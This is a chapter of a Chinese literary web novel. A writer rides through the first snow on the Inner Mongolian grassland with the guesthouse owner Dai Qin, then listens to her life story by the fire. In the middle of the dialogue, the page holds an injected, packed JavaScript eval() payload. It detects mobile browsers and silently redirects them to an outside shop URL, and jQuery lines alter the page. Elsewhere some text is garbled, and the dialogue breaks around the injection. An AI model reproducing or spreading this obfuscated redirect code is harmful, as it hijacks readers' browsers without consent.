很快，冬天来了，翁牛特旗的草原，也迎来了今年的第一场雪。
这雪来得毫无征兆。
前一夜还是清朗的星空，清晨推窗，世界已被一种柔软而浩大的寂静重新塑造。
雪还在纷纷扬扬地落着，不急不缓。庭院、草甸、远山，所有棱角都被这无尽的白色抚平包裹，天地间只剩下一片静谧的纯白。
作为一个在南方潮湿冬季里长大的人，我从未见过如此阔大而干净的雪。
这种吞噬一切声响，覆盖一切杂质的绝对力量，让我心尖发颤。
我几乎是踉跄着扑进院子里，仰起头，让冰凉的雪片落在滚烫的脸颊和眼睫上，激动得呜哇乱叫。
就在这时，我听见身后传来很轻的脚步声，踩在新雪上，发出“咯吱”一声脆响。
回过头，戴琴正站在屋檐下，身上依旧裹着那条素灰色毛毯，静静地看着我。
她脸上没什么表情，但那双深潭似的眼睛里，似乎掠过一丝极淡的了然，或许还有一丝几乎无法察觉的宽容。
“南方的雪，不这样吧？”她开口，声音在落雪声中显得格外清晰。
我抹了把脸，有些不好意思地笑了：“像撒盐，或者雨夹雪，落地就脏了，从没这么……这么铺天盖地过。”
她点了点头，目光投向庭院外那片无垠的雪野，看了片刻，忽然问道：“想不想出去走走？骑马。这时的草原，是另一种样子。”
我的心猛地一跳，几乎是不假思索地应道：“想！”
她转身去马厩牵马，我像个兴奋过度的孩子亦步亦趋地跟着。
她牵出来的是一匹枣红色的母马，毛色在雪光映照下像上好的锦缎，温顺地打着响鼻。
“它叫‘其其格’，花儿的意思。”戴琴抚摸着马儿修长的脖颈，动作轻柔而熟稔，“性子最稳，认得回家的路。”
她扶我上马，手掌托住我的肘部，隔着厚厚的羽绒服，依然能感觉到那股沉稳笃定的力量。
她的指导简洁至极：“坐稳，放松，跟着它的节奏。它走，你便走；它停，你便停。”
她自己则利落地翻身跨上另一匹通体漆黑的骏马，牵过“其其格”的缰绳，引着我们缓缓步入雪原。
马蹄踏进蓬松的新雪，发出沉闷而厚实的“噗嗤”声，一步一个深深的烙印。
世界骤然被简化到极致：前方是戴琴挺直而松弛的蓝色背影，她的袍角随着马背的起伏微微晃动。
四周是漫无边际，耀眼夺目的白，一直延伸到与低垂铅灰色天空模糊相接的弧线。
耳畔的风掠过雪原表面，带出细微嘶鸣，心跳平稳下来咚咚咚地跳。
冰冷的空气吸进肺里，带着雪粒清爽的刺痛感，却奇异地将胸中所有郁结的浊气涤荡一空。
“这里真好，”我忍不住叹息，声音被旷野吸得有些发飘，“好像一下子把什么都隔开了，烦恼，人群，甚至……时间。”
“自由得让人害怕，又让人着迷。”
“就像有时候写作，钻进自己构建的世界里，什么都忘了。”
戴琴没有回头，她的声音顺着风飘来，被吹得有些断续，却字字清晰：“写作是逃进去。这里……”
她似乎轻轻挥了下手，囊括了眼前无垠的洁白：“是让你无处可逃，只能面对。”
我怔了怔。
她的话像一颗小石子，投入我刚刚还在为“自由”欢呼的心湖，漾开一圈涟漪
“那……面对之后呢？”我问。
这次，她似乎极轻地笑了一声，那笑声比雪花落地还要轻。
“面对之后？”她顿了顿，“才知道自己究竟有多轻，或者有多重。”
戴琴放缓了速度，将“其其格”的缰绳轻轻搁在了我的马鞍前桥上，扬了扬下巴：“试着，自己让它走起来。”
她说，声音里带着一种鼓励的平静：“像我之前教你的那样，用腿肚轻轻碰碰它的肚子。”
“别怕，‘其其格’认识我，也认识路。”
我依言照做，动作笨拙。枣红马儿温顺地加快了步伐，从漫步变成了小跑。
风骤然变得凶猛，呼啸着从四面八方扑来，卷起地上的雪沫，打在脸上又冷又麻。
视野开始有节奏地颠簸摇晃，远处的雪丘和近处的枯草连成一片流动的白色波浪。
那一瞬间，奇恐惧并未降临，取而代之的是一种近乎狂喜的兴奋。
戴琴的黑马不知何时已与我并辔而行，她控着缰绳，不远不近，像一道沉默而可靠的影子，永远在我目光可及的侧前方。
我们在一片稍高的坡地勒马。
回头望去，民宿已缩成雪原上几粒微小的暖黄色光点，在无边的素白中倔强地闪烁着，如同迷失在洪荒中的舟火。
天地间仿佛只剩下我们两人，两匹马，以及这充斥寰宇的寂静。
静得能听见雪片相互摩擦的窸窣，听见自己血液奔流和心脏剧烈捶打胸腔的轰鸣。
“感觉如何？”她问。
气息平稳，唯有脸颊被冷风与疾驰染上两抹生动的红晕，衬得那双眼睛愈发明亮，如同雪地里的寒星。
我大口喘着气，胸腔因为激动和寒冷而刺痛，声音却带着前所未有的畅快：“像……像被从里到外拆开，在这风里雪里狠狠抖了一遍，又把最沉的那部分，咚地一声，扔回了地上！”
我找不到更准确的词：“轻了，也……重了。”
戴琴望着远方起伏的雪线，侧脸在冬日稀薄的天光下轮廓分明。
她沉默了片刻，才缓缓道：“风刮走草籽，雪埋住蹄印。能留下的，才是真正属于你的东西。”
“骨头，或者……灵魂。”
从那次雪中骑行之后，我们之间那层因欣赏而生的客气，如同河面上最后一块浮冰，被悄然融化。
交谈开始像炉中的火苗，自然而不间断地燃烧起来。
而真正凛冽的冬天，是以一场持续了三天三夜，仿佛要吞噬一切的大雪正式宣告降临的。
雪停之后，世界彻底失语。
天空是一种凝固的铅灰，草原被压实成硬邦邦的白色石膏平面，无边无际。
所有生命的迹象都被深深掩埋，连风似乎都被冻住了，只在偶尔的间隙，发出凄厉的尖啸。
就是在这样一个被严寒和寂静紧紧包裹的傍晚，我们占据了客厅里那个最大的黄铜火盆。
盆中的牛粪饼燃得正旺，散发出一种带着草根清苦气的干燥暖香。
戴琴用一把被岁月摩挲得发亮的旧铜壶煮着奶茶，壶嘴喷出绵长而稳定的白汽。
她倾身为我斟满一碗，奶皮子厚厚地凝结在褐色的茶汤上，像一层柔软的绸缎。
我捧起陶碗，滚烫的温度立刻渗入冰冷的掌心，顺着喉咙一路熨帖下去，紧接着，那股醇厚中带着锐利野性的酸味才在舌根泛起，霸道地宣告着它的存在。
就像这冬天本身，先以酷寒逼迫你，再以这碗滚烫的复杂滋味给你慰藉，不容拒绝。
“这里的冬天，一直这么冷吗？”
我望着窗外那与灰白天空彻底融为一体，失去了远近纵深感的雪野，不由得发问。
戴琴用铁钳拨弄了一下火盆中央的炭块，几颗橙红的火星“噼啪”炸开，迸溅，又在空中迅速黯淡、冷却，如同无数个微小而徒劳的梦境。
她的目光追随着那些消逝的光点，声音在火焰持续的哔剥声中显得有些悠远：“对啊，一直这么冷。”
“哇，那可真是严酷。这风喊得那么凄厉，你难道不会害怕吗？”
我问的好奇，她顿了顿，眼神仿佛穿透了眼前跃动的暖色，看到了更久远的时光。“不怕啊，有什么好怕的。”
“有包毡，有爸妈，有炭火，人生存在自己温暖的小屋里，守着小小的暖和，哪里会在意外面是什么冰天雪地。”
我点了点头，说：“也是。”
或许是气氛恰好，我忍不住试探地问：“能和我说说你小时候的事吗？我还挺好奇的。”
戴琴瞥了我一眼，不动声色道：“怎么，这段时间找我的店员搜集素材还不够，还要搜集到我的头上啊？”
我说：“是啊，我很好奇嘛。”
或许是天太冷，我们又无事可做，戴琴想了想，还真的和我说了一些她小时候的事。
她出生在一个冬天。
不过这个冬天，和现在这个冬天，不太一样。
那是个难得的大晴天，阳光亮得刺眼，雪地反着光。
生她的妈妈难产，几乎濒死，好不容易出生了，接生她的额布格（奶奶）说她带着胎里的‘邪祟’，得靠黑狼神叼来的运气才能活。
戴琴的爸爸不信这些东西，连夜骑马出去，跑死了两匹马，找到在山里挖参的安达（结义兄弟），用家里最肥壮的一头羊，换回一根拇指粗的老山参。
回来就守在炉火旁，熬成水，掰开孩子的嘴，一滴一滴地喂。
说来也怪，参水喂下去，小孩子真就缓过来了。
可额布格还是坚持，在我满月时，把那枚给戴琴‘镇魂’的狼牙，刻上了名字。
“一面是蒙文，‘淖海其其格’，意思是……草原上的小狼崽，额吉取的，盼着我像狼崽一样，有顽强的命，能在风雪里活下来。”
她顿了顿，指尖无意识地划过陶碗的边缘：“另一面，是阿爸刻的汉字——‘戴琴’。”
“在蒙语里，它的意思是‘海’。”
“阿爸说，草原的孩子，心里该装得下比草原更辽阔的东西。他希望我的心胸，能像海一样，深，且广。”
和大多数的蒙古族人不一样，戴琴的父亲是受过教育的。
所以她的童年，和大多数孩子不一样。
春天不用湿淋淋的捡蘑菇，夏天不用顶着大太阳放牛放马，秋天也不用跟在父母后面打草谷。
她只用读书。
说到这里，她看了看我一眼，笑着说：“很无聊吧，其实草原的生活没有你想的那么有趣。”
我点了点头，说：“不啊，也挺有意思的，还有什么趣事，可以说来听听吗？”
“趣事嘛……我想想……”
她思索了一会，回答道：“小时候，秋天割草的时候，父母亲会把我放在牛车上。”
“我窝在牛车上，用帽子盖着脸，裸露出来的皮肤被晒得红扑扑，暖烘烘的。
“父亲坐在牛车前面，用鞭子赶车。”
“啪啪啪……”一下又一下的。
“四周的洁白羊群宛若被鞭子声吓到，在这片无垠的绿海穿梭，追着远方的风狂奔离去。”
“父亲发出呼噜呼噜的笑声，很是豪迈地唱唱歌……”
“心随天地走，意被牛羊牵。大漠的孤烟，拥抱落日圆……”
戴琴低低唱了起来，歌声在这样深邃的夜里，听起来很是悠扬。
我静静听着，看着火光在她沉静如古老岩画的侧脸上流转，心中最初对于这片风景的猎奇与赞叹，早已沉淀为一种近乎敬畏的感佩。
在这般以绝对严酷法则运转的天地间，一个被预言难以存活的生命，被爱与坚韧仔细浇灌着，最终长出如此内敛而深邃的灵魂。
这本身，就是一个奇迹。
我由衷佩服起来：“也就只有这样的草原，才能培育出了你这样广博而浩瀚的灵魂，以及坚韧又顽强的生命。”
我将这份混杂着唏嘘与敬意的感受说了出来，语气里难免带着一个来自温润南方的闯入者，面对这种原始生命力量时的震撼与疏离。
戴琴听了，却缓缓摇了摇头。
她将目光从跳跃的火苗上移开，重新落回我脸上。
那双眼睛在火光映照下，清澈见底，并无一丝自怜或骄矜，只有一种洞悉般的平静：“一方水土养一方人嘛，哪里的水土不养人呢。”
她的声音不高，却带着一种穿透表象的笃定，“人只要在一块土地上扎下了根，吸它的气，喝它的水，受它的风吹日晒，自然会生出相匹配的筋骨和脾性来。”
“你们南方也有自己的韧性啊。像水边的苇子，看着柔软，风来了便伏低，水涨了便随高，总能找到活路。”
“我们这里的，就像戈壁滩上的风砺石，硬的，耐磨的，一年年地被风沙打磨出棱角，也打磨出光亮。”
“各有各的出彩。”
她话语里那种超越了具体地域羁绊的通透与包容，让我微微一怔。
这绝非一个固守一隅之人能拥有的视野，好奇的火苗在我心中“噗”地窜高了一簇。
“你……好像很懂得‘别处’。”我试探着，将话引向更深处，“你不是一直都在赤峰吗？”
“不是。”她的回答干脆利落，没有丝毫犹豫，“我离离开过这里，很久。”
“去了哪儿？”我追问。
“天南地北。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240080|197689||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”她端起已经温凉的奶茶碗，却没有喝，只是用指尖缓缓摩挲着粗糙的陶壁，目光低垂，落在自己修长而骨节分明的手指上。
她勾起唇角笑了起来：“我年轻时和你一样，也在逃。”
“只不过你是逃进写作里，我是逃离了故乡。”
“草原对于男人们来说，是写着骏马、弯弓、烈酒和遥远的疆场。”
“对于女人，是毡房，是灶台，是望不到头却又似乎一眼就能看到尽头的绿了又黄，黄了又白的日子。”
“像一件从小穿到大，磨破了领口的旧袍子，温暖又束缚。”
她抬起眼，目光似乎穿透了我，望向了虚空中的某个点：“我固执地觉得，人生的觉得答案在远方，在别处，在名字里隐喻的那片‘海’的彼岸。”
“所以我拼了命地往外飞，高考考了三次，一次次落榜，又一次次重振旗鼓，直到翅膀划破云层，才终于飞离了这片土地。”
我几乎能在脑海中勾勒出那个少女的剪影。
瘦削，倔强，眼眸里燃烧着与这片土地的沉静格格不入的火焰。
那个倔强的身影，与眼前这个沉静如深潭，仿佛已与草原呼吸同频的女子，重叠又分离，构成一种惊心动魄的对照。
“既然飞出去了，看过了海，”我轻声问，生怕惊扰了她眸中那片悠远的回忆，“为什么又回来？”
“总不会是落叶归根吧？”我顿了顿，谨慎开口，“你看上去，不像。”
“那倒不是。”她轻轻摇头，将目光投向窗外。
夜色早已浓稠如墨，玻璃窗变成一面模糊的镜子，勉强映出室内跳跃的火光和我们两人静默的轮廓。
但我知道，她的视线早已穿透这层薄薄的阻隔，落在了外面那片被冰雪封存的无垠原野上。
她沉默了许久，久到盆中的火苗都矮下去一截，才用一种低沉而清晰的声音说道：“就是有一天，在某个高楼林立的城市，站在十字路口，看着霓虹灯把人脸照成各种陌生的颜色，彷徨着挤进密不透风的地铁里，听着周围与自己毫无关系的嘈杂对话，忽然觉得心里头‘咯噔’一下，空了。”
“我不知道自己在做什么，也不知道要去哪里，我觉得自己追寻的一切，好像都没了意义……”
她顿了顿，喉间微微滑动，像在吞咽某种无形而浓稠的液体：“然后，我就回来了。”
“狂风吹拂我的身体，大雪浸透我的灵魂，我才意识到，我想要的东西，一直都在这里。”
她伸手，长指往虚空里指了指，说道：“就在那棵神鹿树下。”
“所以我回来了这里。”
我坐在她对面的矮凳上，怀里抱着已经凉透的陶碗，半晌没有动弹。
心中先前关于她所有神秘感的揣测，此刻仿佛找到了确切的源头。
这是在一个灵魂经历了彻底的出走、艰辛的寻觅、必然的彷徨之后，与生命的来处达成了和解。
我的好奇并没有因为她的解释而消散，反而更加浓郁了。
之后的日子里，我开始变着法的套话，想要从她嘴里，得知更多有关于“出走前后”的东西。
有一天深夜，万籁俱寂，唯有雪落无声。
我蜷在客厅的沙发里，就着一盏孤灯，拿着一本《重返狼群》开始读。
书中描绘的野性、孤傲与温情，在窗外这片真实存在的、被严寒统治的荒原背景下，显得愈发惊心动魄。
读到狼群在月下雪地巡行的段落时，一个念头毫无征兆地钻入脑海。
我翻着书页，看着在篝火旁翻书的戴琴，又开始不动声色地套话：“戴琴……你们这儿，现在，还有狼吗？”
铁钳与火盆边缘轻轻碰撞的“叮”的一声脆响，她拨弄炭火那细微而规律的窸窣声，停顿了长长的一瞬。
她的声音传来在夜晚放大般的寂静里异常清晰：“有，不过少了。”
“那还有偷猎者吗？我听说九十年代那会儿，偷猎者都很猖獗。”
“嗯，的确。”
戴琴轻轻地应了一声。
“都偷猎些什么？”我忍不住探身往去。
戴琴窝进了那张老藤椅里，身上盖着那条灰毯子，跳动的火光将她半边脸庞映得暖融融的，却让另一半隐在阴影中的轮廓，显得愈发深邃难测。
“鹿，狼，黄羊，还有好些……连名字都叫不上的稀罕物。”她的语气平淡得像在叙述地方志上的记载，“那时候，一张好皮子，一副完整的骨架，能在黑市上换不少钱。”
“你……你遇到过偷猎的人吗？”我在她对面的小凳上坐下，温暖的空气立刻包裹上来。
“小时候没有。”她轻轻摇头，毯子随着动作滑下一边肩膀，露出里面深蓝色袍子细腻的纹理，“我七岁就跟着阿爸搬离牧场了，他在镇上的小学教书。”
我微妙地捕捉到她话语里的苗头，精神一振，身体不自觉地微微前倾：“哦？”
“那长大后就是有了？”
“什么时候？”
她没有立刻回答。
她抬起头，目光越过了我的肩膀，直直地投向了我身后那扇黑沉沉的玻璃窗。
窗外是浓得化不开的草原冬夜，以及无声无息持续飘落的雪。
但她的眼神是如此悠远，如此穿透，仿佛那面冰冷的玻璃并非阻隔，而是一道能够逆转时光的幽深长廊。
“大概……是高三那年的冬天。”
她的声音更轻了，像一片最薄的雪，小心翼翼地落在结冰的湖面，几乎听不见落下的声响：“和一个朋友……去她姥姥家的牧区……”
“也是在神鹿树附近不远处，我们遇到了偷猎者。”
“朋友？什么朋友？”在她的叙事里，很少提及这样的角色。
我更加来劲了，好奇地问：“是你的同学？还是你小时候玩伴啊？”
“叫什么名字啊？”
戴琴回眸看向我，眼神淡淡的：“是我的高中同学。”
“叫敖小□□分之一鄂伦春人，和你手里那本书的主角一样，是个画家。”
她顿了顿，思索了好一会：“她是一个……很有意思的人。”
“神鹿树，是她带我去看的。”
“你不是想搜集素材吗？我可以同你说说，与她有关的事。”
我却之不恭，于是在这个深夜的篝火旁，我从戴琴口中，听到了一个有关于“鲸鱼与鹿”的故事。